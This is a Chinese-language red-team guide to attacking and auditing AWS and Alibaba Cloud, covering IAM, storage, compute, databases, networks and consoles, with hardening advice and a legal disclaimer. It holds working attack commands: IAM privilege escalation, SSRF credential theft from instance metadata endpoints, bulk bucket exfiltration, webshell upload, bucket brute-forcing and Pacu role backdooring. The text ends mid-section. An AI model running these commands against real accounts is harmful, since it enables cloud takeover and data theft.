【合规声明】 本文所述技术仅用于授权范围内的安全测试与防御研究。未经授权对云环境进行渗透测试属于违法行为,可能违反《网络安全法》《数据安全法》及云服务商相关协议。AWS 渗透测试需遵守其官方渗透测试政策(部分服务无需报备即可测试,如 EC2、S3、Lambda 等;DDoS 类测试严禁进行)。阿里云渗透测试须提前通过工单或安全中心报备,获得书面授权后方可执行。请务必在合法授权前提下使用本文技术,作者不对任何滥用行为承担责任。
前言
随着企业业务全面上云,云环境已成为红队攻防的核心战场。与传统内网渗透不同,云安全攻防围绕身份(IAM)、凭据(AccessKey/Token)、元数据服务(IMDS)、存储桶权限等云原生资产展开。一次 AccessKey 泄露,攻击者即可在数分钟内完成从代码仓库到云资源接管的全链路入侵。
本文以 AWS 与阿里云两大主流公有云为对象,系统梳理云安全攻防全流程,涵盖 IAM、存储、计算、数据库、网络、控制台六大攻击面,并提供真实可用的 CLI 命令、SSRF 利用手法、自动化审计工具链及 4 个完整实战案例。
一、云安全概述与攻击面分析
1.1 云服务模型与责任共担
云服务分为 IaaS、PaaS、SaaS 三种模型,不同模型下用户与云厂商的安全责任边界不同。理解责任共担模型(Shared Responsibility Model)是开展云渗透的前提。
| 服务模型 | 用户负责 | 云厂商负责 | 典型服务 |
|---|---|---|---|
| IaaS | 操作系统、应用、数据、网络配置、IAM | 物理设施、虚拟化层、宿主机 | EC2、ECS、VPC |
| PaaS | 应用代码、数据、访问控制 | 操作系统、运行时、中间件 | Lambda、RDS、函数计算 |
| SaaS | 数据、用户账号、访问权限 | 应用、中间件、操作系统、基础设施 | Office365、钉钉 |
【提示】 责任共担的核心原则:云厂商负责"云本身的安全"(Security of the Cloud),用户负责"云上使用的安全"(Security in the Cloud)。渗透测试的主要目标始终是用户侧负责的资产。
1.2 云安全 vs 传统安全对比
| 维度 | 传统安全 | 云安全 |
|---|---|---|
| 边界模型 | 物理网络边界(防火墙/DMZ) | 身份边界(IAM 策略/信任策略) |
| 凭据类型 | 域账号/本地账号 | AccessKey/临时凭证/Role |
| 攻击入口 | 漏洞利用/钓鱼/社工 | 凭据泄露/SSRF/配置错误/存储桶公开 |
| 横向移动 | 内网扫描/Pass-the-Hash | AssumeRole/跨账号/跨区域 |
| 权限提升 | 提权漏洞/配置错误 | IAM 策略错误/过度授权 |
| 数据外泄 | 文件传输/隐蔽通道 | 存储桶同步/快照共享/API 批量下载 |
| 审计溯源 | 日志服务器/SIEM | CloudTrail/ActionTrail/API 调用日志 |
1.3 云攻击面分类
云攻击面围绕云资产与配置错误展开,可归纳为六大类。
| 攻击面 | AWS 服务 | 阿里云服务 | 常见风险 |
|---|---|---|---|
| IAM 身份管理 | IAM、STS、Organizations | RAM、STS | 凭据泄露、过度授权、权限提升 |
| 存储服务 | S3、EBS、EFS | OSS、NAS、云盘 | 存储桶公开、ACL 错误、数据泄露 |
| 计算服务 | EC2、Lambda、ECS | ECS、函数计算、ECI | 元数据泄露、UserData 泄露、SSRF |
| 数据库服务 | RDS、DynamoDB、Redshift | RDS、PolarDB、Tablestore | 公开访问、快照泄露、弱口令 |
| 网络服务 | VPC、Route 53、CloudFront | VPC、云解析、CDN | 安全组过宽、子域名接管、对等连接 |
| 管理控制台 | CloudTrail、Console | ActionTrail、控制台 | MFA 缺失、Root 滥用、日志未启用 |
【提示】 云渗透的黄金法则是:"身份即边界"。拿到一个高权限 AccessKey,等同于传统渗透中拿到域管账号。
二、IAM 身份与访问管理安全
IAM 是云安全的基石,也是云渗透的首要目标。攻防双方的核心博弈围绕"谁能以什么身份访问什么资源"展开。
2.1 AWS IAM 核心概念
AWS IAM 由四类实体组成:
| 实体 | 说明 | 渗透关注点 |
|---|---|---|
| User(用户) | 长期身份,持有 AccessKey | AccessKey 泄露即账号沦陷 |
| Group(用户组) | 用户的集合,统一授权 | 组策略过宽导致成员越权 |
| Role(角色) | 短期身份,通过 STS AssumeRole 获取 | 信任策略配置错误可被跨账号劫持 |
| Policy(策略) | JSON 格式权限定义 | 通配符 * 滥用、NotAction 绕过 |
策略审计常用命令:
bash
# 列出用户直接附加的策略
aws iam list-attached-user-policies --user-name <用户名>
# 列出用户所属组的策略
aws iam list-groups-for-user --user-name <用户名>
aws iam list-attached-group-policies --group-name <组名>
# 查看策略具体内容(版本与文档)
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/MyPolicy
aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --version-id v1
# 列出所有用户、角色、策略
aws iam list-users
aws iam list-roles
aws iam list-policies --scope Local
# 获取当前调用者身份与权限范围
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name <角色名>
权限提升路径分析是 IAM 渗透的关键。常见提权路径包括:
bash
# 路径1:拥有 iam:CreatePolicyVersion 权限,可创建新版本并设为默认版本,直接赋予自己任意权限
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/MyPolicy --policy-document file://admin_policy.json --set-as-default
# 路径2:拥有 iam:AttachUserPolicy,可给自己附加 AdministratorAccess
aws iam attach-user-policy --user-name <当前用户> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# 路径3:拥有 sts:AssumeRole,可切换到高权限角色
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# 路径4:拥有 iam:CreateAccessKey,可为任意用户创建 AccessKey
aws iam create-access-key --user-name <目标用户>
Pacu 是 AWS 专属的渗透测试框架(类似 Metasploit 的云版本),支持自动化权限提升与横向移动。
bash
# 安装 Pacu
git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
pip install -r requirements.txt
python pacu.py
# 在 Pacu 交互式 shell 中
Pacu (imported:None) > import_keys <profile_name> # 导入 AWS 凭据
Pacu (test:NoData) > whoami # 查看当前身份与权限
Pacu (test:NoData) > run iam__enum_users # 枚举所有 IAM 用户
Pacu (test:NoData) > run iam__enum_permissions # 枚举当前权限
Pacu (test:NoData) > run iam__privesc_scan # 自动扫描权限提升路径
Pacu (test:NoData) > run lambda__backdoor_new_roles # 后门新建角色
2.2 阿里云 RAM
阿里云资源访问管理(RAM)对应 AWS IAM,核心概念一致但命名略有差异。
| 阿里云概念 | 对应 AWS 概念 | 说明 |
|---|---|---|
| RAM 用户 | IAM User | 长期身份,持有 AccessKey |
| RAM 角色 | IAM Role | 通过 STS AssumeRole 获取临时凭证 |
| 权限策略 | Policy | 支持 SystemPolicy 与 CustomPolicy |
| 用户组 | Group | 统一授权 |
AccessKey 管理命令(aliyun CLI):
bash
# 配置 aliyun CLI 凭据
aliyun configure set --profile default --mode AK --access-key-id <AK> --access-key-secret <SK> --region cn-hangzhou
# 列出 RAM 用户
aliyun ram ListUsers
# 查询指定用户的 AccessKey 列表
aliyun ram ListAccessKeys --UserName <用户名>
# 列出附加给用户的策略
aliyun ram ListPoliciesForUser --UserName <用户名>
# 获取策略详情
aliyun ram GetPolicy --PolicyName <策略名> --PolicyType Custom
# 查看当前调用者身份
aliyun sts GetCallerIdentity
【提示】 阿里云主账号(Root)的 AccessKey 权限等同于全部资源控制权。任何场景都不应为 Root 创建 AccessKey,应使用 RAM 用户并遵循最小权限原则。
2.3 凭据泄露与利用
凭据泄露是云安全事件的最主要入口。常见泄露途径包括:
| 泄露途径 | 典型场景 | 检测方法 |
|---|---|---|
| 代码仓库泄露 | GitHub/GitLab 提交硬编码 AK | GitHub 搜索 AKIA、LTAI 关键字 |
| 配置文件泄露 | .env / config.js / application.yml 打包进前端 | 网站源码扫描、目录爆破 |
| 元数据泄露 | SSRF 访问 IMDS 获取实例角色凭证 | SSRF 漏洞测试 |
| 日志/报错泄露 | 错误堆栈打印 AK | 日志监控 |
| 移动端反编译 | APK/IPA 内嵌 AK | 反编译工具 |
2.3.1 SSRF 获取 AWS 元数据临时凭证
AWS EC2 元数据服务(IMDSv1)位于 169.254.169.254,无需认证即可访问。当应用存在 SSRF 时,攻击者可获取挂载在实例上的 IAM 角色临时凭证。
bash
# 步骤1:通过 SSRF 获取实例挂载的 IAM 角色名称
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 步骤2:获取角色对应的临时凭证(AccessKeyId/SecretAccessKey/Token)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
# 返回示例:
# {
# "AccessKeyId": "ASIAxxxxxxxxxxxx",
# "SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxx",
# "Token": "FwoGxxxxxxxxxxxx...",
# "Expiration": "2026-08-14T10:30:00Z"
# }
拿到临时凭证后,配置 AWS CLI 即可使用:
bash
# 方式1:通过环境变量配置(注意 Token 必须设置)
export AWS_ACCESS_KEY_ID=ASIAxxxxxxxxxxxx
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=FwoGxxxxxxxxxxxx...
# 方式2:写入 ~/.aws/credentials
[ssrf-role]
aws_access_key_id = ASIAxxxxxxxxxxxx
aws_secret_access_key = xxxxxxxxxxxxxxxxxxxxxxxx
aws_session_token = FwoGxxxxxxxxxxxx...
# 验证身份
aws sts get-caller-identity --profile ssrf-role
2.3.2 SSRF 获取阿里云元数据 RAM 凭证
阿里云 ECS 元数据服务位于 100.100.100.200,同样无需认证。通过 SSRF 可获取实例绑定的 RAM 角色临时凭证。
bash
# 步骤1:获取实例绑定的 RAM 角色名称
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 步骤2:获取角色临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>
# 返回示例:
# {
# "AccessKeyId": "STS.xxxxxxxxxxxx",
# "AccessKeySecret": "xxxxxxxxxxxxxxxx",
# "Expiration": "2026-08-14T11:00:00Z",
# "SecurityToken": "CAISxxxxxxxxxxxx...",
# "LastUpdated": "2026-08-14T09:00:00Z"
# }
配置 aliyun CLI 使用临时凭证:
bash
# 通过 StsToken 模式配置
aliyun configure set --profile ssrf-role --mode StsToken \
--access-key-id STS.xxxxxxxxxxxx \
--access-key-secret xxxxxxxxxxxxxxxx \
--sts-token CAISxxxxxxxxxxxx... \
--region cn-hangzhou
# 验证身份
aliyun sts GetCallerIdentity --profile ssrf-role
【提示】 临时凭证有效期通常为 1~6 小时,过期后需重新通过元数据接口获取。自动化利用脚本应包含凭证刷新逻辑。
2.3.3 凭据权限评估
拿到凭据后的第一步是评估其权限范围,判断可操作的资源与可利用的提权路径。
bash
# AWS:枚举当前身份所有权限
aws iam list-attached-user-policies --user-name <用户名>
aws iam list-user-policies --user-name <用户名>
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::123456789012:user/<用户名> --action-names s3:ListAllMyBuckets iam:ListUsers
# AWS:使用 Pacu 自动化枚举与提权扫描
Pacu (test:NoData) > run iam__enum_permissions
Pacu (test:NoData) > run iam__privesc_scan
# 阿里云:枚举权限
aliyun ram ListPoliciesForUser --UserName <用户名>
2.4 IAM 攻击工具汇总
| 工具 | 适用平台 | 功能 | 典型命令 |
|---|---|---|---|
| Pacu | AWS | 权限枚举、提权扫描、横向移动 | run iam__privesc_scan |
| CloudGoat | AWS | 场景化靶场(模拟真实漏洞链) | ./cloudgoat.py config profile |
| ScoutSuite | AWS/Aliyun/多云 | 配置审计、风险可视化 | scout aws --profile <name> |
| Prowler | AWS | CIS 基线检查、合规审计 | prowler aws -c check13 |
| CloudFox | AWS/Azure/GCP | 权限可视化、可达性分析 | cloudfox aws all-checks |
三、存储服务安全
对象存储(S3/OSS)是云上数据泄露的高发区。存储桶权限配置错误会导致海量敏感数据暴露公网。
3.1 AWS S3 安全
S3 常见安全配置项:
| 配置项 | 风险说明 | 安全建议 |
|---|---|---|
| Block Public Access | 未开启则存储桶可能被公开访问 | 账号级与桶级均开启 |
| Bucket Policy | 通配符 * 导致匿名访问 |
严格限制 Principal |
| Bucket ACL | public-read/public-read-write 公开 |
禁用 ACL,使用 Policy |
| 默认加密 | 未加密静态数据 | 开启 SSE-S3 或 SSE-KMS |
| 版本控制 | 未开启无法恢复误删/覆盖 | 开启 Versioning + MFA Delete |
存储桶枚举与权限检测命令:
bash
# 列出当前账号所有存储桶
aws s3 ls
# 列出所有桶并显示区域
aws s3api list-buckets --query 'Buckets[].Name' --output text
# 检测存储桶 ACL
aws s3api get-bucket-acl --bucket <桶名>
# 检测存储桶策略
aws s3api get-bucket-policy --bucket <桶名>
# 检测是否开启 Block Public Access
aws s3api get-public-access-block --bucket <桶名>
# 检测是否开启版本控制
aws s3api get-bucket-versioning --bucket <桶名>
# 检测是否开启加密
aws s3api get-bucket-encryption --bucket <桶名>
# 列出桶内对象(分页)
aws s3api list-objects-v2 --bucket <桶名> --query 'Contents[].{Key:Key,Size:Size}' --output table
匿名访问测试(无需凭据,模拟公网攻击者):
bash
# 测试存储桶是否可匿名列举
curl -s https://<桶名>.s3.amazonaws.com/
# 测试是否可匿名下载对象
curl -s https://<桶名>.s3.amazonaws.com/<对象Key>
# 使用 awscli 匿名访问(不携带凭据)
aws s3 ls s3://<桶名> --no-sign-request
aws s3 cp s3://<桶名>/secret.txt ./secret.txt --no-sign-request
数据窃取与写入利用:
bash
# 批量下载桶内全部数据
aws s3 sync s3://<桶名> ./looted-bucket/
# 上传 Webshell 或后门文件到公开桶(写入利用)
aws s3 cp shell.php s3://<桶名>/
# 删除对象(破坏性操作,仅授权测试)
aws s3 rm s3://<桶名>/<对象Key>
存储桶名爆破(针对未知目标):
bash
# 使用 slurp 或 lazys3 进行存储桶名枚举
# slurp
slurp amazon -t <目标域名或公司名>
# 自定义字典爆破
while read bucket; do
status=$(curl -s -o /dev/null -w "%{http_code}" https://${bucket}.s3.amazonaws.com/)
if [ "$status" != "404" ]; then
echo "[+] Found: $bucket ($status)"
fi
done < buckets.txt
3.2 阿里云 OSS 安全
OSS 读写权限类型:
| 权限类型 | 说明 | 风险 |
|---|---|---|
| private | 私有,需签名访问 | 安全(默认) |
| public-read | 匿名可读 | 数据泄露 |
| public-read-write | 匿名可读写 | 数据泄露与篡改 |
OSS 安全命令(aliyun CLI 与 ossutil):
bash
# 列出所有 OSS Bucket
aliyun oss ls
ossutil ls
# 查看 Bucket 访问权限(ACL)
aliyun oss bucket acl --bucket <桶名>
ossutil getbucketacl oss://<桶名>
# 查看 Bucket 策略
aliyun oss bucket-policy --bucket <桶名> --method get
# 查看防盗链配置
aliyun oss bucket referer --bucket <桶名> --method get
# 查看是否开启日志
aliyun oss bucket logging --bucket <桶名> --method get
# 匿名访问测试(模拟公网攻击者)
curl -s https://<桶名>.<endpoint>/?list-type=2
curl -s https://<桶名>.<endpoint>/<对象Key>
# 下载对象
ossutil cp oss://<桶名>/<对象Key> ./
【提示】 阿里云 OSS 的 Endpoint 格式为
<桶名>.<region>.aliyuncs.com。不同区域 Endpoint 不同,如oss-cn-hangzhou.aliyuncs.com、oss-cn-beijing.aliyuncs.com。
3.3 存储检测工具对比
| 工具 | 平台 | 功能 | 命令示例 |
|---|---|---|---|
| aws s3api | AWS | 官方 CLI 检测桶权限 | aws s3api get-bucket-acl |
| S3Scanner | AWS | 批量扫描公开桶 | s3scanner scan --buckets-file list.txt |
| BucketFinder | AWS | 桶名爆破 | python bucket_finder.py |
| ossutil | 阿里云 | OSS 官方工具 | ossutil getbucketacl |
| ScoutSuite | 多云 | 配置审计 | scout aws --profile <name> |
3.4 存储安全最佳实践
- 账号级与桶级均开启 Block Public Access(AWS)或保持 private 权限(阿里云)
- 启用服务端加密(SSE-KMS / OSS 服务端加密)
- 启用版本控制与 MFA 删除保护
- 使用 Bucket Policy 限制访问来源 IP 与 VPC Endpoint
- 配置生命周期策略,自动迁移冷数据并清理过期对象
- 定期审计存储桶权限,使用 Config 或安全中心监控变更
四、计算服务安全
计算服务(EC2/ECS/Lambda)是云上业务承载的核心,元数据服务泄露与 UserData 敏感信息是最常见的攻击向量。
4.1 AWS EC2 安全
安全组审计命令:
bash
# 列出所有安全组
aws ec2 describe-security-groups --query 'SecurityGroups[].{Name:GroupName,Id:GroupId}' --output table
# 查看安全组规则详情(入站与出站)
aws ec2 describe-security-groups --group-ids <安全组ID>
# 查询所有对 0.0.0.0/0 开放的端口(高风险排查)
aws ec2 describe-security-groups --filters Name=ip-permission.cidr,Values=0.0.0.0/0 \
--query 'SecurityGroups[].{Name:GroupName,Ingress:IpPermissions}' --output table
# 列出所有 EC2 实例
aws ec2 describe-instances --query 'Reservations[].Instances[].{Id:InstanceId,IP:PrivateIpAddress,Role:IamInstanceProfile.Arn}' --output table
4.1.1 元数据服务 SSRF 获取 IAM 角色凭证
这是云渗透中最经典的攻击链。当 EC2 上的应用存在 SSRF 漏洞时,攻击者可通过元数据服务获取实例挂载的 IAM 角色临时凭证,进而横向到云资源。
完整流程:
bash
# 步骤1:通过 SSRF 探测元数据服务
curl http://169.254.169.254/latest/meta-data/
# 步骤2:获取实例挂载的 IAM 角色名
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 步骤3:获取角色临时凭证(AccessKeyId/SecretAccessKey/Token)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
# 步骤4:配置 AWS CLI 使用临时凭证
export AWS_ACCESS_KEY_ID=<返回的AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<返回的SecretAccessKey>
export AWS_SESSION_TOKEN=<返回的Token>
# 步骤5:验证身份并枚举权限
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name <角色名>
# 步骤6:利用角色权限操作云资源(如列出 S3 桶)
aws s3 ls
4.1.2 IMDSv2 防护与绕过
AWS 推出 IMDSv2 以缓解 SSRF 攻击。IMDSv2 要求先通过 PUT 请求获取 Token,再携带 Token 访问元数据。
bash
# IMDSv2 标准访问流程
# 步骤1:获取 Session Token(PUT 请求)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# 步骤2:携带 Token 访问元数据
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
IMDSv2 绕过思路(仅在实例同时支持 IMDSv1 与 IMDSv2 时有效):
bash
# 绕过1:若实例未强制要求 IMDSv2,仍可直接用 IMDSv1 访问
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名>
# 绕过2:某些 SSRF 漏洞支持自定义请求方法,可构造 PUT 请求获取 Token
# 伪代码示例(视 SSRF 漏洞具体实现而定):
# ssrf_url=http://169.254.169.254/latest/api/token
# method=PUT
# headers={"X-aws-ec2-metadata-token-ttl-seconds":"21600"}
【提示】 彻底防御元数据泄露的唯一方法是强制使用 IMDSv2(
HttpTokens: required)并将跳数限制为 1(HopLimit: 1),同时修复应用层 SSRF 漏洞。
bash
# 检查实例是否强制使用 IMDSv2
aws ec2 describe-instances --instance-ids <实例ID> \
--query 'Reservations[].Instances[].MetadataOptions' --output table
# 修改实例元数据选项为强制 IMDSv2
aws ec2 modify-instance-metadata-options --instance-id <实例ID> --http-tokens required --http-put-response-hop-limit 1
4.1.3 UserData 敏感信息
EC2 UserData 常用于实例启动时执行初始化脚本,开发者可能在其中硬编码密钥、密码。
bash
# 获取实例 UserData(可能包含明文密钥)
aws ec2 describe-instance-attribute --instance-id <实例ID> --attribute userData --query 'UserData.Value' --output text | base64 -d
4.2 AWS Lambda 安全
Lambda 函数的环境变量、执行角色与事件源是主要攻击面。
bash
# 列出所有 Lambda 函数
aws lambda list-functions --query 'Functions[].{Name:FunctionName,Role:Role,Runtime:Runtime}' --output table
# 获取函数配置(含环境变量)
aws lambda get-function-configuration --function-name <函数名>
# 获取函数代码下载地址
aws lambda get-function --function-name <函数名> --query 'Code.Location' --output text
# 查看函数执行角色权限
aws iam list-attached-role-policies --role-name <角色名>
# 列出事件源映射(如 SQS/Kinesis 触发器,可被注入恶意数据)
aws lambda list-event-source-mappings --function-name <函数名>
【提示】 Lambda 环境变量若包含数据库密码、API Key 等敏感信息,获取函数配置即可直接读取。应使用 KMS 加密环境变量或将敏感信息存入 Secrets Manager。
4.3 阿里云 ECS 安全
安全组审计与元数据获取命令:
bash
# 列出所有安全组
aliyun ecs DescribeSecurityGroups --RegionId cn-hangzhou
# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId <安全组ID> --RegionId cn-hangzhou
# 列出所有 ECS 实例
aliyun ecs DescribeInstances --RegionId cn-hangzhou
# 查看实例UserData(可能含明文密钥)
aliyun ecs DescribeInstanceUserData --InstanceId <实例ID> --RegionId cn-hangzhou
4.3.1 阿里云 ECS 元数据获取 RAM 凭证
完整请求示例:
bash
# 步骤1:获取实例绑定的 RAM 角色名称
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/
# 步骤2:获取 RAM 角色临时凭证
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/<角色名>
# 步骤3:获取实例基本信息(辅助信息收集)
curl http://100.100.100.200/latest/meta-data/instance-id
curl http://100.100.100.200/latest/meta-data/region-id
curl http://100.100.100.200/latest/meta-data/instance-type
# 步骤4:配置 aliyun CLI 使用临时凭证
aliyun configure set --profile ecs-role --mode StsToken \
--access-key-id <AccessKeyId> \
--access-key-secret <AccessKeySecret> \
--sts-token <SecurityToken> \
--region <region-id>
# 步骤5:验证身份并枚举权限
aliyun sts GetCallerIdentity --profile ecs-role
aliyun ram ListPoliciesForUser --UserName <用户名>
【提示】 阿里云元数据服务目前无 IMDSv2 等强制 Token 机制,SSRF 防护依赖应用层。建议通过安全组规则限制元数据服务的访问来源,并为 ECS 不绑定 RAM 角色或仅绑定最小权限角色。
4.4 计算服务检测命令汇总
| 检测项 | AWS 命令 | 阿里云命令 |
|---|---|---|
| 安全组审计 | aws ec2 describe-security-groups |
aliyun ecs DescribeSecurityGroups |
| 实例列表 | aws ec2 describe-instances |
aliyun ecs DescribeInstances |
| 元数据凭证 | curl 169.254.169.254/.../iam/... |
curl 100.100.100.200/.../ram/... |
| UserData | aws ec2 describe-instance-attribute |
aliyun ecs DescribeInstanceUserData |
| 实例角色 | aws ec2 describe-instances --query ...IamInstanceProfile |
aliyun ecs DescribeInstanceRamRole |
| IMDSv2 状态 | aws ec2 describe-instances --query ...MetadataOptions |
暂无对应机制 |
| 函数列表 | aws lambda list-functions |
aliyun fc ListFunctions |
五、数据库服务安全
数据库服务公开访问、快照权限不当是云上数据泄露的另一高发区。
5.1 AWS 数据库安全
bash
# RDS:列出所有实例
aws rds describe-db-instances --query 'DBInstances[].{Id:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}' --output table
# 检测 RDS 是否公开可访问(PubliclyAccessible=true 为高风险)
aws rds describe-db-instances --query 'DBInstances[?PubliclyAccessible==`true`].DBInstanceIdentifier' --output table
# 列出 RDS 快照(快照可能被共享给其他账号导致泄露)
aws rds describe-db-snapshots --query 'DBSnapshots[].{Id:DBSnapshotIdentifier,Status:Status}' --output table
# 查看快照共享情况
aws rds describe-db-snapshot-attributes --db-snapshot-identifier <快照ID>
# DynamoDB:列出所有表
aws dynamodb list-tables
# 查看表权限(资源策略)
aws dynamodb describe-table --table-name <表名>
# 检查表是否可公开访问(通过资源策略)
aws dynamodb get-resource-policy --resource-arn arn:aws:dynamodb:<region>:<account>:table/<表名>
5.2 阿里云数据库安全
bash
# RDS:列出所有实例
aliyun rds DescribeDBInstances --RegionId cn-hangzhou
# 查看 RDS 白名单(IP 访问控制)
aliyun rds DescribeDBInstanceIPArrayList --DBInstanceId <实例ID>
# 查看数据库账号与权限
aliyun rds DescribeAccounts --DBInstanceId <实例ID>
# 查看实例网络类型与连接地址
aliyun rds DescribeDBInstanceNetInfo --DBInstanceId <实例ID>
# 列出备份集
aliyun rds DescribeBackups --DBInstanceId <实例ID>
5.3 数据库安全最佳实践
| 风险项 | 防护措施 |
|---|---|
| 公开访问 | 关闭 PubliclyAccessible,仅允许 VPC 内访问 |
| 白名单过宽 | 收紧 IP 白名单,禁止 0.0.0.0/0 |
| 快照泄露 | 禁止快照公开共享,定期审计共享列表 |
| 弱口令 | 强制密码复杂度策略,定期轮换 |
| 传输加密 | 强制开启 SSL/TLS 连接 |
| 静态加密 | 开启 TDE(透明数据加密)或云盘加密 |
| 权限过大 | 遵循最小权限,按库/表粒度授权 |
六、网络服务安全
6.1 AWS 网络安全
bash
# 列出所有 VPC
aws ec2 describe-vpcs --query 'Vpcs[].{Id:VpcId,Cidr:CidrBlock,Name:Tags[?Key==`Name`].Value|[0]}' --output table
# 列出子网
aws ec2 describe-subnets --query 'Subnets[].{Id:SubnetId,Cidr:CidrBlock,Vpc:VpcId}' --output table
# 列出网络 ACL
aws ec2 describe-network-acls
# 列出对等连接(跨 VPC/账号连接,可能被利用横向移动)
aws ec2 describe-vpc-peering-connections --query 'VpcPeeringConnections[].{Id:VpcPeeringConnectionId,Status:Status.Code}' --output table
# 查看路由表
aws ec2 describe-route-tables --query 'RouteTables[].{VpcId:VpcId,Routes:Routes}' --output table
6.1.1 Route 53 子域名接管
当 Route 53 中存在指向已删除资源(如 S3 桶、CloudFront、ELB)的 DNS 记录时,攻击者可重新创建该资源实现子域名接管。
bash
# 列出所有托管区域
aws route53 list-hosted-zones
# 列出区域内的 DNS 记录
aws route53 list-resource-record-sets --hosted-zone-id <区域ID> \
--query 'ResourceRecordSets[].{Name:Name,Type:Type,Value:ResourceRecords|[0].Value}' --output table
# 检测 CNAME 指向的资源是否存在(如指向 S3 桶)
curl -s http://<子域名> -o /dev/null -w "%{http_code}"
# 返回 404 NoSuchBucket 则可能存在接管
6.2 阿里云网络安全
bash
# 列出所有 VPC
aliyun vpc DescribeVpcs --RegionId cn-hangzhou
# 列出 VPC 下的交换机
aliyun vpc DescribeVSwitches --VpcId <VPC ID> --RegionId cn-hangzhou
# 查看路由表
aliyun vpc DescribeRouteTableList --VpcId <VPC ID> --RegionId cn-hangzhou
# 查看安全组规则
aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId <安全组ID> --RegionId cn-hangzhou
6.3 网络安全检测命令汇总
| 检测项 | AWS 命令 | 阿里云命令 |
|---|---|---|
| VPC 列表 | aws ec2 describe-vpcs |
aliyun vpc DescribeVpcs |
| 安全组 | aws ec2 describe-security-groups |
aliyun ecs DescribeSecurityGroups |
| 网络 ACL | aws ec2 describe-network-acls |
暂无对应 |
| 对等连接 | aws ec2 describe-vpc-peering-connections |
aliyun vpc DescribeVpcPeers |
| 路由表 | aws ec2 describe-route-tables |
aliyun vpc DescribeRouteTableList |
| DNS 记录 | aws route53 list-resource-record-sets |
aliyun alidns DescribeDomainRecords |
七、管理控制台安全
7.1 AWS 控制台安全
CloudTrail 日志审计是云上溯源的核心。
bash
# 检查 CloudTrail 是否启用
aws cloudtrail describe-trails --query 'trailList[].{Name:Name,Status:IsLogging}' --output table
# 查询最近 API 调用事件(按事件名过滤)
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin --max-results 50
# 查询特定用户的 API 调用记录
aws cloudtrail lookup-events --lookup-attributes AttributeKey=Username,AttributeValue=<用户名> --max-results 50
# 查询 AccessKey 相关事件(凭据泄露溯源)
aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=<AK>
# 检查账号密码策略
aws iam get-account-password-policy
# 检查 MFA 状态(Root 与 IAM 用户)
aws iam get-account-summary
aws iam list-virtual-mfa-devices
# 检查 Root 最近登录与使用情况
aws iam generate-credential-report
aws iam get-credential-report --query 'Content' --output text | base64 -d
7.2 阿里云控制台安全
ActionTrail 是阿里云的操作审计服务。
bash
# 列出 ActionTrail 配置
aliyun actiontrail DescribeTrails
# 查询操作事件(按事件名过滤)
aliyun actiontrail LookupEvents --EventName ConsoleSignin --MaxResults 50
# 查询指定用户操作记录
aliyun actiontrail LookupEvents --EventRW All --MaxResults 50
# 查看主账号与 RAM 用户列表
aliyun ram ListUsers
# 查看 RAM 用户登录配置(是否开启 MFA)
aliyun ram GetUser --UserName <用户名>
# 列出 MFA 设备
aliyun ram ListVirtualMFADevices
7.3 控制台安全最佳实践
| 安全项 | AWS 建议 | 阿里云建议 |
|---|---|---|
| Root 账号 | 禁用 AccessKey、开启 MFA、日常不使用 | 禁用主账号 AccessKey、开启 MFA |
| IAM 用户 | 强制 MFA、最小权限、定期轮换 | 强制 MFA、最小权限、定期轮换 |
| 密码策略 | 强复杂度、90 天轮换 | 强复杂度、90 天轮换 |
| 操作审计 | CloudTrail 全区域启用、日志加密 | ActionTrail 全区域启用、投递到 OSS |
| 异常登录 | 配置 CloudWatch 告警 | 配置安全中心告警 |
| 控制台访问 | 限制来源 IP(SCP/Condition) | 限制来源 IP(访问控制策略) |
八、云安全自动化审计
8.1 AWS 自动化审计
8.1.1 Config 规则
bash
# 列出 Config 规则
aws configservice describe-config-rules --query 'ConfigRules[].{Name:ConfigRuleName,State:ConfigRuleState}' --output table
# 查看合规性评估结果
aws configservice describe-compliance-by-config-rule --query 'ComplianceByConfigRules[].{Rule:ConfigRuleName,Status:Compliance.ComplianceType}' --output table
8.1.2 Security Hub
bash
# 启用 Security Hub
aws securityhub enable-security-hub
# 查看安全发现(findings)
aws securityhub get-findings --query 'Findings[].{Title:Title,Severity:Severity.Label,Resource:Resources[0].Type}' --output table
8.1.3 CloudTrail 日志分析
bash
# 查询最近 24 小时高危操作(如创建 AccessKey、修改策略)
aws cloudtrail lookup-events --start-time $(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%S) --end-time $(date -u +%Y-%m-%dT%H:%M:%S) \
--lookup-attributes AttributeKey=EventName,AttributeValue=CreateAccessKey
# 查询无服务器登录(API 调用而非控制台)
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole
8.1.4 Pacu 框架使用
bash
# 安装与启动
